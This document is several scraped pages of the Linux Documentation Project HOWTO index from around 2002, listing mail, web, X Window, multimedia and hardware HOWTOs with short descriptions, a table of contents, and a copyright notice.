  • Cyrus-IMAP, Cyrus IMAP HOWTO

    Updated: October 2000. A comprehensive guide to installing, configuring, and running Cyrus Imap and Cyrus Sasl.

  • Mail-Administrator-HOWTO, The Linux Electronic Mail Administrator HOWTO

    Updated: January 2000. Describes the setup, care and feeding of Electronic Mail (e-mail) under Linux. Primarily intended for administrators.

  • Mail-Queue, Linux Mail-Queue mini-HOWTO

    Updated: December 2001. Configuration changes necessary to make sendmail deliver local mail now; while stashing remote mail in the queue until "I Say So".

  • Mail2News, Mail2News mini-HOWTO

    Updated: November 2000. How to feed a mailing list to a news server.

  • Majordomo-MajorCool-HOWTO, Majordomo and MajorCool HOWTO

    Updated: November 2000. Intended to guide a user through an installation of the Majordomo Mailing List Software and MajorCool (utility for managing Majordomo lists via a CGI script).

  • Offline-Mailing, Linux off-line mailing method (offline mailaddr with 1 account)

    Updated: June 1998. Use your linux mailing system offline, receive mail for multiple users with only one email address, and without being 24-24 online.

  • Outlook-to-Unix-Mailbox, MS Outlook to Unix Mailbox Conversion mini HOWTO

    Updated: January 2002. Covers conversion of old email in Microsoft Outlook (not Outlook Express!) to typical Unix file formats.

  • Postfix-Cyrus-Web-cyradm-HOWTO, Postfix-Cyrus-Web-cyradm-HOWTO

    Updated: April 2002. Guides you through the installation of the Postfix mail transportation agent (MTA), the Cyrus IMAP server.

  • Qmail+MH, mini-HOWTO install qmail with MH

    Updated: March 1998. Installation experiences to offer some help to other users who wish to use this combination for their email.

  • Qmail-VMailMgr-Courier-imap-HOWTO, Qmail VMailMgr and Courier-Imap HOWTO

    Updated: March 2002. Building a mail server that will support virtual domain hosting and provide smtp, pop3 and imap services, using a powerful alternative to sendmail.

  • Secure-POP+SSH, Secure POP via SSH mini-HOWTO

    Updated: September 1998. How to set up secure POP connections using ssh.

  • Sendmail+UUCP, Sendmail+UUCP HOWTO

    Updated: May 1998. How to setup a single machine with no direct access to the internet to route mail for you via sendmail and UUCP to a 'smarter host' (eg. your ISP).

  • Sendmail-Address-Rewrite, sendmail address rewriting mini-HOWTO

    Updated: May 1998. A brief description of how to set up sendmail's configuration file for the home user's dial-up access.

  • VMailMgr-HOWTO, VMailMgr HOWTO

    Updated: April 2000. Explains how to setup VMailMgr to support pop3 virtual domain services in conjunction with Qmail.

4.5.3.3. Usenet Network News

  • News-Leafsite, News Leafsite mini-HOWTO

    Updated: December 2001. This will help you to configure a small leafsite for Usenet News using the free software package Leafnode.

4.5.3.4. HTTP / FTP

  • Apache-Overview-HOWTO, Apache Overview How-to

    Updated: February 2002. An overview of the Apache webserver and related projects. It provides pointers for further information and implementation details.

  • Apache-Compile-HOWTO, Apache Compile HOWTO (Linux edition)

    Updated: April 2002. Describes how to compile the Apache Webserver with important modules like mod_perl, mod_dav, mod_auth_ldap, mod_dynvhost, mod_roaming, mod_jserv, and mod_php.

  • Apache-mods, Apache+DSO+mod_ssl+mod_perl+php+mod_auth_nds+mod_auth_mysql+mod_fastcgi mini-HOWTO

    Updated: April 2000. Details the installation of an Apache based webserver suite configured to handle DSO, and various useful modules including mod_perl, mod_ssl and php.

  • Apache+SSL+PHP+fp, Linux Apache SSL PHP/FI frontpage mini-HOWTO

    Updated: July 1998. About building a multipurpose webserver that will support dynamic web content via the PHP/FI scripting language, secure transmission of data based on Netscape's SSL, secure execution of CGI's and M$Frontpage Server Extensions.

  • Apache-WebDAV-LDAP-HOWTO, Apache WebDAV and LDAP HOWTO

    Updated: April 2002. A HOWTO on implementing WebDAV services using Apache - with LDAP for authentication and SSL for ensuring security of the DAV stores.

  • FTP, FTP mini-HOWTO

    Updated: January 2000. How to use ftp clients and servers

  • ISP-Setup-RedHat-HOWTO, "Pocket" ISP based on RedHat Linux

    Updated: January 2001. Outlines the setup of a single RedHat box for dial-ins,virtual web hosting, virtual email, POP3 and ftp servers.

  • Intranet-Server-HOWTO, The Linux Intranet Server HOWTO

    Updated: December 2001. How to setup an Intranet using Linux as the server which binds Unix, Netware, NT and Windows together.

  • phhttpd-HOWTO, PHHTTPD

    Updated: April 2001. phhttpd is an HTTP accelerator. It serves fast static HTTP fetches from a local file-system and passes slower dynamic requests back to a waiting server.

  • SSL-Certificates-HOWTO, SSL Certificates HOWTO

    Updated: May 2002. How to manage a certificate authority (CA), and issue or sign certificates to be used for secure web, secure e-mail, or signing code and other usages.

  • SSL-RedHat-HOWTO, Building a Secure RedHat Apache Server HOWTO

    Updated: February 2001. Explains how PKI and SSL work together. It is essential to understand how the SSL protocol works to successfully deploy a secure server.

  • Sybase-PHP-Apache, Sybase-PHP-Apache mini-HOWTO

    Updated: July 2001. Explains how to set up a Linux machine to run an Apache web server using PHP to access a Sybase-ASE database.

  • TransparentProxy, Transparent Proxy with Squid mini-HOWTO

    Updated: January 2002. Provides information on how to setup a transparent caching HTTP proxy server using only Linux and squid.

  • Virtual-Web, Virtual Web mini-HOWTO

    Updated: June 2001. Discuss the essentials of setting up a Virtual Web Site under Linux.

  • WWW-HOWTO, Linux WWW HOWTO

    Updated: August 1999. Information about setting up WWW services under Linux (both server and client).

4.5.3.5. Miscellaneous

  • Bandwidth-Limiting-HOWTO, Bandwidth Limiting HOWTO

    Updated: November 2001. Describes how to set up your Linux server to limit download bandwidth or incoming traffic, and how to use your internet link more efficiently.

  • CDServer-HOWTO, CDServer-HOWTO

    Updated: January 2002. Describes the steps and commands you can use to setup your own CD Server using Linux and some built-in Unix commands along with other freely available software packages.

  • Fax-Server, Linux simple fax printer server mini-HOWTO (faxsrv-mini-HOWTO)

    Updated: November 1997. Describes in detail one of the simplest ways to setup a fax server on your Linux system.

  • Game-Server-HOWTO, Game Server HOWTO

    Updated: July 2001. Explains how to install, configure and maintain servers for various popular multiplayer games.

  • Kiosk-HOWTO, Kiosk HOWTO

    Updated: October 1999. Provides a guide for setting up a WWW-based kiosk using Linux, X11R6, FVWM2, Netscape Navigator 4.X, and a customized trackball.

  • LDAP-HOWTO, LDAP Linux HOWTO

    Updated: July 2001. Information about installing, configuring, running and maintaining a LDAP (Lightweight Directory Access Protocol) Server on a Linux machine.

  • LDAP-Implementation-HOWTO, LDAP Implementation HOWTO

    Updated: March 2001. Describes the technical aspects of storing application data in a LDAP server. It focuses on the configuration of various applications to make them LDAP-aware.

  • NIS-HOWTO, The Linux NIS(YP)/NYS/NIS+ HOWTO

    Updated: November 2000. How to configure Linux as NIS(YP) or NIS+ client and how to install as a NIS server.

  • Smart-Card-HOWTO, Smart Card HOWTO

    Updated: September 2001. Information on smart card technology and its applications in Linux environment.

  • Tango-HOWTO, Tango 2000 HOWTO

    Updated: July 2000. Describes the installation, configuration, and basic troubleshooting of Pervasive Software's Tango Application Server on Sun Solaris and various flavours of Linux.

  • Virtual-Services-HOWTO, Virtual Services HOWTO

    Updated: August 1998. How to virtualize a service.

4.5.4. GUI / Window Managers

4.5.4.1. X Window System

  • BackspaceDelete, Linux Backspace/Delete mini-HOWTO

    Updated: January 2002. Solutions for having working Backspace and Delete keys on the console and on X.

  • Euro-Char-Support, Euro Character Support mini HOWTO

    Updated: April 2002. Describes how to make the Euro character support in GNU/Linux work.

  • FDU, XFree86 Font De-uglification HOWTO

    Updated: February 2002. How to fix ugly and unreadable X Window fonts.

  • i810-HOWTO, i810 with XFree86 4.x HOWTO

    Updated: May 2001. Describes getting XFree86 4.x running on Intel's i810 graphics chipset by using special features of the 2.4.0 kernel.

  • Intkeyb, How to setup international keyboard in X Windows

    Updated: December 2001. This xmodmap and kimap solutions will work for you in setting up any international keyboard for (Debian, RedHat, Mandrake, Corel) Linux, FreeBSD, OpenBSD, NetBSD and possibly every Unix that uses Xfree86 and KDE.

  • LBX, The LBX mini-HOWTO

    Updated: December 1997. LBX (Low Bandwidth X) is an X server extension which performs compression on the X protocol. It is meant to be used in conjunction with X applications and an X server which are separated by a slow network connection, to improve display and response time.

  • Remote-X-Apps, Remote X Apps mini-HOWTO

    Updated: December 2001. How to run remote X applications.

  • X-Big-Cursor, X11-big-cursor mini-HOWTO

    Updated: August 1997. How to use enlarged mouse cursors with the X window system.

  • XDM-Xterm, XDM and X Terminal mini-HOWTO

    Updated: May 2002. Describes the basic ideas for using XDM to manage X terminals. It is not meant to be a comprehensive discussion of all the features of XDM, but a gentle introduction to what XDM can to for X terminals.

  • XDMCP-HOWTO, Linux XDMCP HOWTO

    Updated: March 2002. How to setup XDMCP ("X Display Manager Control Protocol").

  • XFree86-HOWTO, The Linux XFree86 HOWTO

    Updated: September 2001. How to obtain, install, and configure version 4.0 of the XFree86 version of the X Window System (X11R6) for Linux systems.

  • XFree86-Second-Mouse, Second Mouse in X mini-HOWTO

    Updated: November 2001. Quick instructions to enable a second mouse in X.

  • XFree86-Touch-Screen-HOWTO, Linux Touch Screen HOWTO

    Updated: January 2002. How to set up a touch screen input device under XFree86.

  • XFree86-Video-Timings-HOWTO, XFree86 Video Timings HOWTO

    Updated: February 2002. How to compose a mode line for your card/monitor combination under XFree86.

  • XFree86-XInside, Linux XFree-to-Xinside mini-HOWTO

    Updated: September 1997. How to convert an XFree86 modeline into an XInside/XiGraphics one.

  • Xinerama-HOWTO, Using the Xinerama Extensions to MultiHead X v.4.0

    Updated: November 2000. How to configure XFree86 Version 4.0 with Multiple monitors and the Xinerama extentions.

  • XWindow-Overview-HOWTO, X Window System Architecture Overview HOWTO

    Updated: May 2001. Provides an overview of the X Window System's architecture.

  • XWindow-User-HOWTO, The X Window User HOWTO

    Updated: March 2002. Provides basic information (introductory level) on understanding and configuring the X Window System for Linux users.

4.5.4.2. Window Managers

  • MGR-HOWTO, The MGR Window System HOWTO

    Updated: May 1996. Information on the installation, configuration and running of the MGR Window System.

4.5.4.3. Fonts

  • FDU, XFree86 Font De-uglification HOWTO

    Updated: February 2002. How to fix ugly and unreadable X Window fonts.

  • Font-HOWTO, Font HOWTO

    Updated: March 2000. Provides a comprehensive source to act as a starting point for any and all font questions about Linux.

  • Indic-Fonts-HOWTO, The Indic Fonts HOWTO

    Updated: January 2002. A detailed guide on how to install and use Indic scripts (devanagri etc.) using UTF-8 encoding under GNU/Linux.

  • TT-Debian, TrueType Fonts in Debian mini-HOWTO

    Updated: January 2000. How to configure a Debian system to use TrueType fonts for display and printing.

  • TT-XFree86, TrueType Fonts with XFree86 4.0.x mini-HOWTO

    Updated: February 2001. Describes how to use TrueType (*.ttf) fonts with XFree86 4.0.x.

4.5.5. Multimedia

4.5.5.1. Audio

  • Alsa-sound, Alsa-sound-mini-HOWTO

    Updated: November 1999. Describes the installation of the ALSA sound drivers for Linux.

  • Sound-HOWTO, The Linux Sound HOWTO

    Updated: July 2001. Describes sound support for Linux (hardware, configuration, etc).

  • Sound-Playing-HOWTO, The Linux Sound Playing HOWTO

    Updated: August 1998. Lists applications for Linux that play various sound formats.

  • MIDI-HOWTO, The Linux MIDI-HOWTO

    Updated: April 2002. Describes the hardware, software and procedures needed to play and sequence using MIDI under Linux.

  • MP3-HOWTO, The Linux MP3 HOWTO

    Updated: December 2001. Describes the hardware, software and procedures needed to encode, play and stream MP3 sound files under Linux.

  • MP3-Box-HOWTO, MP3 Player Box HOWTO

    Updated: April 2001. Describes how to build, configure, install, and use a custom MP3 player box. It lists the necessary hardware and answers a number of frequently asked questions.

  • MP3-CD-Burning, Linux MP3 CD Burning mini-HOWTO

    Updated: April 2002. A complete recipe for creating audio CDs from MP3 files.

4.5.5.2. Video

  • DVD-HOWTO, Linux DVD HOWTO

    Updated: October 2000. An easy to follow explanation on how to get DVD movie play-back in Linux.

  • BTTV, The BTTV Mini-HOWTO

    Updated: February 2000. Describes the hardware, software, and procedures needed to use a bt8x8 chipset based frame grabber or TV tuner card under Linux.

Prev | Home | Next
Networking | Up | Programming


Categorized List of HOWTOs

LDP HOWTO-INDEX
Prev Next

Chapter 4. Categorized List of HOWTOs

Table of Contents
4.1. The Linux OS
4.1.1. Getting Started
4.1.2. Switching from Other Operating Systems
4.1.3. Distributions
4.1.4. Installation
4.1.5. Kernel
4.1.6. Boot Loaders and Booting the OS
4.1.7. Parallel Processing
4.1.8. Partitions and Filesystems
4.1.9. RAID
4.1.10. Printing
4.1.11. Shell
4.1.12. Using Linux
4.2. System Administration and Configuration
4.2.1. Configuration
4.2.2. Benchmarking
4.2.3. Clustering
4.2.4. Backup
4.2.5. Recovery
4.2.6. Security
4.3. Hardware
4.3.1. General
4.3.2. Platforms
4.3.3. Video Cards
4.3.4. CPUs / Architectures
4.3.5. CD-ROM / DVD-ROM Drives
4.3.6. Optical Disks
4.3.7. Keyboard and Console
4.3.8. Digital Cameras
4.3.9. Graphic Tablets
4.3.10. Diskettes
4.3.11. Hard Disks
4.3.12. Jaz and ZIP Drives
4.3.13. Mice
4.3.14. Modems
4.3.15. SCSI
4.3.16. Serial Ports
4.3.17. Sound Cards
4.3.18. Tape Drives
4.3.19. Touchscreens
4.3.20. UPS
4.3.21. Wireless
4.3.22. Miscellaneous
4.4. Networking
4.4.1. General
4.4.2. Protocols
4.4.3. Dial-up
4.4.4. DNS
4.4.5. Virtual Private Networks
4.4.6. Bridging
4.4.7. Routing
4.4.8. Security
4.4.9. Telephony / Satellite
4.4.10. Miscellaneous
4.5. Applications / GUI / Multimedia
4.5.1. Installing Applications
4.5.2. User Applications
4.5.3. Server Applications
4.5.3.1. DBMS / Databases
4.5.3.2. Mail
4.5.3.3. Usenet Network News
4.5.3.4. HTTP / FTP
4.5.3.5. Miscellaneous
4.5.4. GUI / Window Managers
4.5.4.1. X Window System
4.5.4.2. Window Managers
4.5.4.3. Fonts
4.5.5. Multimedia
4.5.5.1. Audio
4.5.5.2. Video
4.6. Programming
4.6.1. General
4.6.2. Compilers
4.6.3. Languages
4.6.4. Libraries
4.6.5. Interfaces / API / Protocols
4.6.6. Security
4.6.7. Tools
4.6.8. Version Control
4.6.9. DBMS / Databases
4.6.10. Miscellaneous
4.7. Other (human) Languages
4.7.1. Language Support
4.7.2. Using Specific Languages
4.8. Miscellaneous
4.8.1. Authoring / Documentation
4.8.2. Linux Advocacy / Getting (and Staying) Involved
4.8.3. Hobbies and Special Interests

This is a categorized list of the currently available HOWTOs. It is the hope that by categorizing this information it will be easier for you to find the information that you are looking for.

Special Thanks to David Merrill for his extensive work on the initial categorization of the HOWTO documents.

Prev | Home | Next
HOWTO Translations |  | The Linux OS


Copyright Information

LDP HOWTO-INDEX
Prev

Chapter 9. Copyright Information

This document, LDP HOWTO-INDEX, is copyrighted (c) 1995 - 2002 by Tim Bynum, Guylhem Aznar, Joshua Drake and Greg Ferguson. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is available at http://www.gnu.org/copyleft/fdl.html.

If you have questions, please contact the Linux HOWTO coordinator, at linux-howto@metalab.unc.edu.

Note: if you wish to use this as a boilerplate copyright notice for your own document(s), feel free to do so.

Prev | Home
Writing and Submitting a HOWTO |


Hardware

LDP HOWTO-INDEX
Prev Chapter 4. Categorized List of HOWTOs Next

4.3. Hardware

Topics covered in this section include:

Section 4.3.1 General
Section 4.3.2 Platforms
Section 4.3.3 Video Cards
Section 4.3.4 CPUs / Architectures
Section 4.3.5 CD-ROM / DVD-ROM Drives
Section 4.3.6 Optical Disks
Section 4.3.7 Keyboard and Console
Section 4.3.8 Digital Cameras
Section 4.3.9 Graphic Tablets
Section 4.3.10 Diskettes
Section 4.3.11 Hard Disks
Section 4.3.12 Jaz and ZIP Drives
Section 4.3.13 Mice
Section 4.3.14 Modems
Section 4.3.15 SCSI
Section 4.3.16 Serial Ports
Section 4.3.17 MIDI / Sound Cards
Section 4.3.18 Tape Drives
Section 4.3.19 Touchscreens
Section 4.3.20 UPS
Section 4.3.21 Wireless
Section 4.3.22 Miscellaneous

4.3.1. General

  • Hardware-HOWTO, Linux Hardware Compatibility HOWTO

    Updated: March 2002. Lists most of the hardware supported by Linux and helps you locate any necessary drivers.

  • Unix-Hardware-Buyer-HOWTO, The Unix Hardware Buyer HOWTO

    Updated: August 2001. This is your one-stop resource for information about how to buy and configure Intel hardware for cheap, powerful Unix systems.

4.3.2. Platforms

  • 4mb-Laptops, 4mb Laptop HOWTO

    Updated: April 2000. Put a "grown-up" Linux on a small-spec (4mb RAM, <=200mb hard disk) laptop.

  • Acer-Laptop-HOWTO, Linux Installation on an Acer LapTop HOWTO

    Updated: January 2001. Describes the inatllation of Linux on a Acer laptop and various issues related to this.

  • Cluster-HOWTO, Linux Cluster HOWTO

    Updated: April 2002. How to set up high-performance Linux computing clusters.

  • Compaq-T1500-HOWTO, CompaqT1500-Linux HOWTO

    Updated: March 2002. Lists the procedures and tools needed to boot the Compaq T1500, using a Netboot of both the native file system and a generic Linux installation.

  • Diskless-HOWTO, Diskless Nodes HOWTO for Linux

    Updated: February 2002. How to set up a diskless Linux box.

  • Diskless-root-NFS-HOWTO, Root over nfs clients & server HOWTO

    Updated: March 1999. How to setup a server and configure clients for diskless operation from a network.

  • Handspring-Visor, Handspring-Visor mini-HOWTO

    Updated: August 2000. Using the Visor with Linux and your USB port.

  • HP-HOWTO, HP HOWTO - Utilisation and Configuration Guide of HP Products under Linux

    Updated: December 2001. Describes the use of products available in the Hewlett-Packard (HP) catalog with Linux and some free software.

  • IBM7248-HOWTO, Installing LinuxPPC-2000 on the IBM RS/6000 43P model 7248 HOWTO

    Updated: August 2001. Describes the installation of LinuxPPC-2000 on the IBM RS/6000 43P model 7248 series.

  • JavaStation-HOWTO, Linux on the Sun JavaStation NC HOWTO

    Updated: October 2001. Describes how to enable the GNU/Linux OS on the Sun JavaStation NC.

  • Kiosk-HOWTO, Kiosk HOWTO

    Updated: October 1999. Provides a guide for setting up a WWW-based kiosk using Linux, X11R6, FVWM2, Netscape Navigator 4.X, and a customized trackball.

  • Laptop-HOWTO, Linux Laptop HOWTO

    Updated: November 2000. Contains a concise survey of laptop-related (Linux content) documents, such as installation methods for laptops (via PCMCIA, without CD drive, etc.), laptop hardware features, and configurations for different (network) environments.

  • Mac-Terminal, The MacTerminal mini-HOWTO

    Updated: November 1997. How to configure the Mac for use as a Linux terminal.

  • Mosix-HOWTO, The Mosix HOWTO

    Updated: March 2002. A brief description to Mosix, a software package that turns a network of GNU/Linux computers into a computer cluster.

  • NC-HOWTO, Linux Netstation HOWTO

    Updated: February 2002. Describes how to hook up a IBM Netstation to your local network using a Linux box as server.

  • NCD-HOWTO, Linux NCD mini-HOWTO

    Updated: December 2001. Describes how to hook up a NCD ThinSTAR to your local network using a Linux box as server.

  • NCD-X-Terminal, NCD X terminal mini HOWTO

    Updated: March 2000. How to connect an NCD X terminal to a UNIX host.

  • PalmOS-HOWTO, Palm OS Desktop HOWTO

    Updated: March 2002. Explains how to use your Palm OS device with a Linux system.

  • Psion-HOWTO, Linux and Psion HOWTO

    Updated: November 1999. How to use Psion palmtops with Linux. Does not cover running Linux on a Psion palmtop.

  • Text-Terminal-HOWTO, Text-Terminal HOWTO

    Updated: March 2002. Explains what text terminals are, how they work, how to install and configure them, and provides some info on how to repair them.

  • Thinclient-HOWTO, Thin Client: New User Guide

    Updated: November 1999. How to turn inexpensive legacy computers into fast terminals.

  • VAIO+Linux, Linux on Sony VAIO mini-HOWTO

    Updated: September 1998. This document explains installation of Linux on Sony VAIO computers.

  • VME-HOWTO, VME HOWTO

    Updated: February 2002. Shows the embedded system community how to run Linux on their VMEbus Pentium and other PCI local bus based VMEbus processor designs.

  • Wearable-HOWTO, Wearable HOWTO

    Updated: November 2000. Nomadism is one of the major trends of our society, now most of the people can work with a laptop computer, but few did the next step: to live, or if you prefer to wear one computer - that is a wearable.

4.3.3. Video Cards

  • 3Dfx-HOWTO, The Linux 3Dfx HOWTO

    Updated: February 1998. Describes 3Dfx graphics accelerator chip support for Linux.

  • Framebuffer-HOWTO, Framebuffer HOWTO

    Updated: February 2000. How to use the framebuffer devices in Linux with a variety of platforms. Also includes how to set up multi-headed displays.

  • i810-HOWTO, i810 with XFree86 4.x HOWTO

    Updated: May 2001. Describes getting XFree86 4.x running on Intel's i810 graphics chipset by using special features of the 2.4.0 kernel.

  • Nvidia-OpenGL-Configuration, Nvidia OpenGL Configuration mini-HOWTO

    Updated: January 2002. How to install the OpenGL drivers for Nvidia graphics cards on Linux. Also explains how to install XFree86, the OpenGL Utility library (part of Mesa), the OpenGL Utility Toolkit (glut), etc.

4.3.4. CPUs / Architectures

  • Alpha-HOWTO, Brief Introduction to Alpha Systems and Processors

    Updated: June 1997. A brief overview of existing Alpha CPUs, chipsets and systems.

  • CPU-Design-HOWTO, CPU Design HOW-TO

    Updated: February 2002. Helps people understand how a CPU is designed and manufactured. Contains references to various resources.

  • K7s5a-HOWTO, The Elite's K7s5a mainboard HOWTO

    Updated: April 2002. Describes how to use Elite's K7s5a board with Linux.

  • MIPS-HOWTO, Linux/MIPS HOWTO

    Updated: January 2001. Describes the MIPS port of the Linux operating system, common problems and their solutions, availability and more.

  • SPARC-HOWTO, SPARC-HOWTO

    Updated: November 2000. Describes Linux on SPARC-based workstations.

4.3.5. CD-ROM / DVD-ROM Drives

  • CD-Writing-HOWTO, CD-Writing HOWTO

    Updated: July 2000. Explains how to write CD-ROMs under Linux.

  • CDROM-HOWTO, The Linux CD-ROM HOWTO

    Updated: July 2001. How to install, configure, and use CD-ROM drives under Linux.

  • DVD-HOWTO, Linux DVD HOWTO

    Updated: October 2000. An easy to follow explanation on how to get DVD movie play-back in Linux.

4.3.6. Optical Disks

  • Optical-Disk-HOWTO, Linux - Optical Disk HOWTO

    Updated: December 1998. Describes the installation and configuration of optical disk drives for Linux.

4.3.7. Keyboard and Console

  • Keyboard-and-Console-HOWTO, The Linux keyboard and console HOWTO

    Updated: September 2001. Contains some information about the Linux (v2.0) keyboard and console, and the use of non-ASCII characters.

  • BackspaceDelete, Linux Backspace/Delete mini-HOWTO

    Updated: January 2002. Solutions for having working Backspace and Delete keys on the console and on X.

  • Intkeyb, How to setup international keyboard in X Windows

    Updated: December 2001. This xmodmap and kimap solutions will work for you in setting up any international keyboard for (Debian, RedHat, Mandrake, Corel) Linux, FreeBSD, OpenBSD, NetBSD and possibly every Unix that uses Xfree86 and KDE.

  • Remote-Serial-Console-HOWTO, Remote Serial Console HOWTO

    Updated: May 2002. Covers how to set up your hardware to use a serial console.

4.3.8. Digital Cameras

  • Kodak-Digitalcam-HOWTO, Kodak Digital Camera HOWTO

    Updated: January 2001. Getting a Kodak digital camera working under GNU/Linux.

4.3.9. Graphic Tablets

  • Wacom-Tablet-HOWTO, Wacom Tablet HOWTO

    Updated: August 2001. Installation of (not only) Wacom graphic tablets under linux and/or xfree86.

  • Wacom-USB-mini-HOWTO, Wacom Graphire USB Mini-HOWTO

    Updated: June 2000. How to setup a Wacom Graphire USB tablet for use with Linux.

4.3.10. Diskettes

  • Automount, Automount mini-HOWTO

    Updated: March 2002. Describes the autofs automounter, how to configure it; points out some problems to avoid.

4.3.11. Hard Disks

  • Antares-RAID-sparcLinux-HOWTO, Antares-RAID-sparcLinux-HOWTO

    Updated: April 2000. Describes how to install, configure, and maintain a hardware RAID built around the 5070 SBUS host based RAID controller by Antares Microsystems.

  • ATA-RAID-HOWTO, Linux ATA RAID HOWTO

    Updated: May 2002. Explains how to install Linux on an Intel Pentium compatible computer with an ATA RAID Controller (onboard chip or seperate card), single or multiple processors and at least two hard disks.

  • DPT-Hardware-RAID, Linux DPT Hardware RAID mini-HOWTO

    Updated: February 2002. How to set up hardware RAID under Linux.

  • Hard-Disk-Upgrade, Hard Disk Upgrade Mini HOWTO

    Updated: April 2000. How to copy a Linux system from one hard disk to another.

  • Large-Disk-HOWTO, Large Disk HOWTO

    Updated: August 2001. All about disk geometry and the 1024 cylinder limit for disks.

  • Multi-Disk-HOWTO, HOWTO: Multi Disk System Tuning

    Updated: May 2002. How best to use multiple disks and partitions for a Linux system.

  • Ultra-DMA, The Linux Ultra-DMA Mini-Howto

    Updated: December 2001. How to use Ultra-DMA aka Ultra-ATA aka Ultra33 and Ultra66 hard drives and interfaces with Linux.

4.3.12. Jaz and ZIP Drives

  • Jaz-Drive-HOWTO, Jaz-drive HOWTO

    Updated: January 2000. Covers the configuration and use of the 1Gb and 2Gb Iomega Jaz drives under Linux.

  • ZIP-Drive, Zip Drive Mini-HOWTO

    Updated: March 2002. Provides a quick reference quide on setting up and using the Iomega ZIP drive with Linux.

  • ZIP-Install, Installing Linux on ZIP disk using ppa ZIP Drive Mini-Howto

    Updated: January 1998. This document is only useful for those with the printer port version of a ZIP drive who wish to have either a portable or backup Linux system on a ZIP disk.

4.3.13. Mice

  • 3-Button-Mouse, The 3 Button Serial Mouse mini-HOWTO

    Updated: May 1998. How to get a 3 button serial mouse working properly under Linux.

4.3.14. Modems

  • ACP-Modem, Linux ACP Modem (Mwave) mini-HOWTO

    Updated: July 2001. Describes how to build, setup, and use the ACP (Mwave) Modem feature of the IBM Thinkpad[tm] 600E, 600, and 770x.

  • Cable-Modem, Cable Modem Providers HOWTO

    Updated: June 2001. Answers basic questions on how to connect your Linux box to cable modem or cable Internet provider.

  • Conexant+Rockwell-modem-HOWTO, Conexant/Rockwell modem HOWTO

    Updated: March 2002. A guide to using Conexant and Rockwell chipset based Software modems under Linux.

  • Linmodem-HOWTO, Linmodem-Mini-HOWTO

    Updated: February 2001. Describes Linmodem (winmodem hardware) support under Linux.

  • Linux-Modem-Sharing Modem sharing mini-HOWTO

    Updated: August 2001. Describes how to setup a Linux system in order to share a modem attached to this system with other systems over a TCP/IP network.

  • Modem-HOWTO, Modem HOWTO

    Updated: January 2002. Help with selecting, connecting, configuring, trouble-shooting, and understanding modems for a PC.

  • Modem-Dialup-NT-HOWTO, Modem-Dialup-NT HOW-TO

    Updated: February 2002. Helps you to setup a modem to do Dial-up Networking with a remote server like Windows NT RAS or Linux RAS (Remote Access Server).

  • PCTel-MicroModem-Config, PCTel HSP MicroModem Configuration mini-HOWTO

    Updated: March 2002. Make your PCTel HSP MicroModem work in Linux.

  • Winmodems-and-Linux-HOWTO, Winmodems-and-Linux HOWTO

    Updated: April 2001. Helps users get a Winmodem working under Linux.

4.3.15. SCSI

  • SCSI-2.4-HOWTO, The Linux SCSI subsystem in 2.4 HOWTO

    Updated: April 2002. Describes the SCSI subsystem as the Linux kernel enters the 2.4 production series. An external view of the SCSI subsystem is the main theme. Material is included to help the system administration of the Linux SCSI subsystem.

  • SCSI-Generic-HOWTO, The Linux SCSI Generic (sg) HOWTO

    Updated: May 2002. Describes the SCSI Generic driver (sg) found in the Linux 2.4 production series of kernels. Focuses on the interface and characteristics of the driver that application writers may need to know.

  • SCSI-Programming-HOWTO, The Linux SCSI programming HOWTO

    Updated: May 1996. Deals with programming the Linux generic SCSI interface.

    Check the SCSI-Generic-HOWTO for more current information.

4.3.16. Serial Ports

  • Serial-HOWTO, Serial HOWTO

    Updated: March 2002. Describes serial port features other than those which should be covered by other HOWTOs. Lists information on multiport serial cards and contains detailed technical information about the serial port itself.

  • Boca, Installing Boca Card Mini-HOWTO

    Updated: January 2001. Describes the basics of a Boca 16-port serial card (Boca 2016) with Linux.

  • Serial-Laplink-HOWTO, Serial Laplink HOWTO

    Updated: July 2001. Details how to setup a “laplink” connection between two computers.

  • Remote-Serial-Console-HOWTO, Remote Serial Console HOWTO

    Updated: May 2002. Covers how to set up your hardware to use a serial console.

4.3.17. Sound Cards

  • MIDI-HOWTO, The Linux MIDI-HOWTO

    Updated: April 2002. Describes the hardware, software and procedures needed to play and sequence using MIDI under Linux.

  • Soundblaster-AWE, Sound Blaster AWE 32/64 HOWTO

    Updated: January 1998. How to install and configure a Sound Blaster 32 (SB AWE 32, SB AWE 64) card from Creative Labs in a Linux System using the AWE Sound Driver Extension written by Takashi Iwai. It also covers some special tools and players for the SB AWE series.

4.3.18. Tape Drives

  • Ftape-HOWTO, Ftape HOWTO

    Updated: August 1998. Discusses essential do's and dont's for the ftape floppy tape driver under Linux. Focuses on the newest version (ftape-4.02 at the time of this writing).

4.3.19. Touchscreens

  • XFree86-Touch-Screen-HOWTO, Linux Touch Screen HOWTO

    Updated: January 2002. How to set up a touch screen input device under XFree86.

4.3.20. UPS

  • UPS-HOWTO, The UPS HOWTO

    Updated: November 1997. Helps you connect an uninterruptable power supply to a Linux box.

4.3.21. Wireless

  • Wireless-HOWTO, Wireless HOWTO for Linux Systems

    Updated: May 2002. Document explains how to setup Wireless in Linux, compatibility problems, something about geographic requirements and more.

  • Infrared-HOWTO, Linux Infrared HOWTO

    Updated: April 2001. Introduction to Linux and infrared devices and how to use the software provided by the Linux/IrDA project.

  • Wireless-Link-sys-WPC11, Link-sys WPC11 Mini-HOWTO

    Updated: April 2002. How to set up a Wireless Link-Sys WPC11 card using a Link-SYS Wireless Access Point/DSL/Switch on a Debian system.

  • Wireless-Sync-HOWTO, Wireless Sync HOWTO

    Updated: December 2001. Explains how to perform a wireless, network sync between a Handspring Visor and jpilot or jpilot-sync.

4.3.22. Miscellaneous

  • Clock, The Clock Mini-HOWTO

    Updated: November 2000. How to set and keep your computer's clock on time.

  • IO-Perf-HOWTO, I/O Performance HOWTO

    Updated: May 2002. Covers information on available patches for the 2.4 kernel that will improve the I/O performance of your Linux operating system.

  • MP3-Box-HOWTO, MP3 Player Box HOWTO

    Updated: April 2001. Describes how to build, configure, install, and use a custom MP3 player box. It lists the necessary hardware and answers a number of frequently asked questions.

  • PCI-HOWTO, Linux PCI-HOWTO

    Updated: June 2001. Information on what works with Linux and PCI-boards and what does not.

  • PCMCIA-HOWTO, Linux PCMCIA HOWTO

    Updated: May 2001. How to install and use PCMCIA Card Services for Linux.

  • Plug-and-Play-HOWTO, The Linux Plug-and-Play HOWTO

    Updated: March 2002. How to get your Linux system to support Plug-and-Play.

